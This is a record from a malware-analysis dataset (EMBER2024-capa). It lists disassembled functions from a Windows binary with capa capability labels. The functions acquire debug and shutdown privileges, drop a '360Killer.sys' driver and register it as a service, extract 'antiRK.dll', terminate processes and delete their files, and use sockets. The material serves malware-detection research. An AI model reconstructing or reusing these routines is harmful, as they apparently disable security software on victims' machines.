joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4310cf
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push edi
mov dword [ebp - 0x418], ecx
mov byte [ebp - 0x30c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x30b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x414], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x208], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
call fcn.0041f4d0
push eax
push 0x104
lea eax, [ebp - 0x208]
push eax
call fcn.00409000
mov ecx, dword [ebp + 8]
call fcn.0041f4d0
push eax
mov ecx, dword [ebp - 0x418]
call fcn.00431273
mov dword [ebp - 0x310], eax
push 0x104
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x104
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x208]
push eax
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call fcn.00415330
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
cmp dword [ebp - 0x310], 0
je 0x43122c
movsx eax, byte [ebp - 0x30c]
test eax, eax
je 0x43122c
movsx ecx, byte [ebp - 0x104]
test ecx, ecx
je 0x43122c
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.SHLWAPI.dll_PathIsRootA]
test eax, eax
jne 0x431220
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x431220
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x43122c
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], 6
jmp 0x43126c
cmp dword [ebp - 0x310], 0
je 0x431259
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
cmp dword [eax + 0x14], 3
je 0x43124d
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
cmp dword [edx + 0x14], 2
jne 0x431259
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 6
jmp 0x43126c
cmp dword [ebp - 0x310], 0
je 0x43126c
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], 5
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x431e80
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x4dc738
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00407f00
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x431ede
push 0
push 0
push 4
push 0
push 1
push closesocket
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x431ede
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x43202d
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4dc74c
mov ecx, dword [ebp - 0x18]
add ecx, 0x10
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4320f8
lea edx, [ebp - 8]
push edx
mov ecx, dword [ebp - 0x18]
add ecx, 4
call fcn.004172b0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x18]
add ecx, 4
call fcn.00436710
push eax
lea ecx, [ebp - 8]
call fcn.00448ed0
and eax, 0xff
test eax, eax
je 0x4320e4
push 0
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
call fcn.00417310
mov ecx, eax
call fcn.00432be0
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
cmp dword [edx + 4], 0
je 0x4320d0
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 4]
push ecx
push 0x4dc750
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCRT.dll_fprintf]
add esp, 0xc
jmp 0x4320e2
push 0x4dc754
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCRT.dll_fprintf]
add esp, 8
jmp 0x432073
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
jmp 0x4320fa
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4342d8
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0xedb88320
mov dword [ebp - 0xc], 0
jmp 0x4342f7
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x100
jge 0x43434e
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 8
jmp 0x434318
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jle 0x43433f
mov eax, dword [ebp - 8]
and eax, 1
test eax, eax
je 0x434335
mov ecx, dword [ebp - 8]
shr ecx, 1
xor ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
jmp 0x43433d
mov edx, dword [ebp - 8]
shr edx, 1
mov dword [ebp - 8], edx
jmp 0x43430f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax*4 + 0x5423a0], ecx
jmp 0x4342ee
mov esp, ebp
pop ebp
ret

Function at 0x434be9
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x28
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x434c59
lea edx, [ebp - 0x14]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x434c4f
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], 2
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x434d90
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push 0x4dcc8c
push 0xcd
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x434dc1
xor eax, eax
jmp 0x434ebc
mov eax, dword [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jne 0x434df0
mov dword [ebp - 0x110], 0
xor eax, eax
jmp 0x434ebc
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x114], eax
mov edx, dword [ebp - 0x110]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp + 8]
push eax
push str._s_antiRK.dll
push 0x104
lea ecx, [ebp - 0x104]
push ecx
call fcn.0040a150
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
jne 0x434e67
xor eax, eax
jmp 0x434ebc
push 0
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x434ea0
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x434ebc
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x11c], 0xffffffff
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4359c7
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push 0x28
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x435a45
lea edx, [ebp - 0x18]
push edx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x435a3b
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x435a3b
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x436b22
Capabilities:
Check if file exists
Create service
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0xc]
call fcn.00436abd
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x436b8e
cmp dword [ebp - 4], 0
je 0x436b8e
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x436b8e
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push 1
push 3
push 1
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x436b9e
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 8

Function at 0x436ba7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x436bd9
xor eax, eax
jmp 0x436c1b
push 0
lea ecx, [ebp - 4]
push ecx
push 0x3800
push 0x4ddbac
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x436c05
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x436c1b
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], 0xffffffff
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x436c21
Capabilities:
Delete file
Get common file path
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [ebp - 0x128], ecx
mov eax, dword [ebp - 0x128]
cmp dword [eax + 4], 0xffffffff
je 0x436c46
mov eax, 1
jmp 0x436e35
push 0
push 0
push 3
push 0
push 0
push closesocket
push 0x4ddb00
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x128]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x128]
cmp dword [edx + 4], 0xffffffff
je 0x436c90
mov eax, dword [ebp - 0x128]
mov dword [eax + 8], 1
mov ecx, dword [ebp - 0x128]
mov eax, dword [ecx + 8]
jmp 0x436e35
mov edx, dword [ebp - 0x128]
cmp dword [edx + 8], 0
je 0x436ca6
mov eax, 1
jmp 0x436e35
mov eax, dword [ebp - 0x128]
cmp dword [eax + 4], 0xffffffff
je 0x436cbc
mov eax, 1
jmp 0x436e35
push 0x104
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.drivers360Killer.sys
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [ebp - 0x128]
call fcn.00436ba7
test eax, eax
jne 0x436cfd
xor eax, eax
jmp 0x436e35
lea ecx, [ebp - 0x104]
push ecx
push str.360Killer
mov ecx, dword [ebp - 0x128]
call fcn.00436b22
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x436db2
lea edx, [ebp - 0x124]
push edx
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x436d48
cmp dword [ebp - 0x120], 4
je 0x436d98
push 0
push 0
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edx, dword [ebp - 0x128]
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x128]
cmp dword [eax + 8], 0
je 0x436d83
push 0
push str.akDogsysSuccess
call fcn.00451159
mov ecx, eax
call fcn.0045251a
jmp 0x436d96
push 0
push str.akDogsysFailed
call fcn.00451159
mov ecx, eax
call fcn.0045251a
jmp 0x436da5
mov ecx, dword [ebp - 0x128]
mov dword [ecx + 8], 1
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.SYSTEMCurrentControlSetServices360Killer
push SysStringLen
call fcn.00442b70
mov ecx, eax
call fcn.00443017
mov ecx, dword [ebp - 0x128]
cmp dword [ecx + 8], 0
je 0x436e2c
push 0
push 0
push 3
push 0
push 0
push closesocket
push 0x4ddb84
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, dword [ebp - 0x128]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x128]
cmp dword [eax + 4], 0xffffffff
je 0x436e1f
mov ecx, dword [ebp - 0x128]
mov dword [ecx + 8], 1
jmp 0x436e2c
mov edx, dword [ebp - 0x128]
mov dword [edx + 8], 0
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 8]
mov esp, ebp
pop ebp
ret
Function at 0x437948
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
xor ecx, ecx
cmp eax, dword [ebp - 0x18]
setne cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0
je 0x4379b1
mov edx, dword [ebp + 0xc]
push edx
push 1
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4379af
push 2
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
jmp 0x4379b7
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
cmp dword [ebp - 0x14], 0
je 0x437a3d
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0x437801
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x437a23
push 0x3e8
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x437a19
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1c], 0
je 0x437a3d
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x437c66
Capabilities:
Create directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0
lea eax, [ebp - 0x100]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ntdll.dll__splitpath]
add esp, 0x14
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x100]
push eax
call fcn.00437a44
add esp, 8
test eax, eax
je 0x437ccd
push 0x20
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x437ccd
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, 1
jmp 0x437ccf
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4384a6
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 3
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x118], 0
jmp 0x4384e8
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x114]
cmp ecx, dword [ebp + 0x10]
jae 0x43860c
cmp dword [ebp - 0x118], 3
jge 0x43860c
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x11c], 0
jmp 0x438529
mov edx, dword [ebp - 0x11c]
add edx, 1
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x108]
jae 0x43854d
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + ecx*4 - 0x104]
cmp edx, dword [ebp + 8]
jne 0x43854b
jmp 0x43854d
jmp 0x43851a
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x108]
jne 0x438583
cmp dword [ebp - 0x108], 0x40
jae 0x438583
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + 8]
mov dword [ebp + ecx*4 - 0x104], edx
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
xor ecx, ecx
test ecx, ecx
jne 0x43850e
lea edx, [ebp - 0x110]
push edx
push 0
lea eax, [ebp - 0x108]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WSOCK32.dll_select]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4385b3
jmp 0x4384d9
cmp dword [ebp - 4], 0xffffffff
jne 0x4385bb
jmp 0x43860c
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x438607
push 0
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 0x114]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x114]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x438607
mov ecx, dword [ebp - 0x114]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x114], ecx
jmp 0x4384d9
mov eax, dword [ebp - 0x114]
mov esp, ebp
pop ebp
ret
Function at 0x438616
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 4], 0
mov dword [ebp - 0x114], 3
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x118], 0
jmp 0x438655
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jae 0x43876a
cmp dword [ebp - 0x118], 3
jge 0x43876a
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x11c], 0
jmp 0x438693
mov edx, dword [ebp - 0x11c]
add edx, 1
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x10c]
jae 0x4386b7
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + ecx*4 - 0x108]
cmp edx, dword [ebp + 8]
jne 0x4386b5
jmp 0x4386b7
jmp 0x438684
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x10c]
jne 0x4386ed
cmp dword [ebp - 0x10c], 0x40
jae 0x4386ed
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + 8]
mov dword [ebp + ecx*4 - 0x108], edx
mov eax, dword [ebp - 0x10c]
add eax, 1
mov dword [ebp - 0x10c], eax
xor ecx, ecx
test ecx, ecx
jne 0x438678
lea edx, [ebp - 0x114]
push edx
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WSOCK32.dll_select]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x43871d
jmp 0x438646
cmp dword [ebp - 8], 0xffffffff
jne 0x438725
jmp 0x43876a
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x438765
push 0
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x438765
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x438646
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4391b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x4391c9
cmp dword [ebp + 8], 4
jne 0x4391cd
xor eax, eax
jmp 0x439200
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4391fd
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x439206
Capabilities:
Delete file
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x230], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x439382
mov dword [ebp - 0x23c], 0
cmp dword [ebp + 0xc], 0
je 0x4392d6
mov edx, dword [ebp - 0x228]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
je 0x4392d4
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
mov ecx, dword [ebp - 0x240]
push ecx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
jbe 0x4392c7
lea edx, [ebp - 0x104]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00402980
add esp, 8
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x23c], eax
mov ecx, dword [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4392f4
lea edx, [ebp - 0x20c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00402980
add esp, 8
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
je 0x439364
mov ecx, dword [ebp - 0x228]
push ecx
call fcn.004391b0
test eax, eax
jne 0x439319
mov dword [ebp - 0x238], 0
jmp 0x439382
mov dword [ebp - 0x244], 0
jmp 0x439334
mov edx, dword [ebp - 0x244]
add edx, 1
mov dword [ebp - 0x244], edx
cmp dword [ebp - 0x244], 0x32
jae 0x439362
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
je 0x439358
jmp 0x439362
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x439325
jmp 0x439382
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x108], eax
jmp 0x43924b
cmp dword [ebp - 0x234], 0
je 0x4393a2
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x234], 0
mov eax, dword [ebp - 0x238]
mov esp, ebp
pop ebp
ret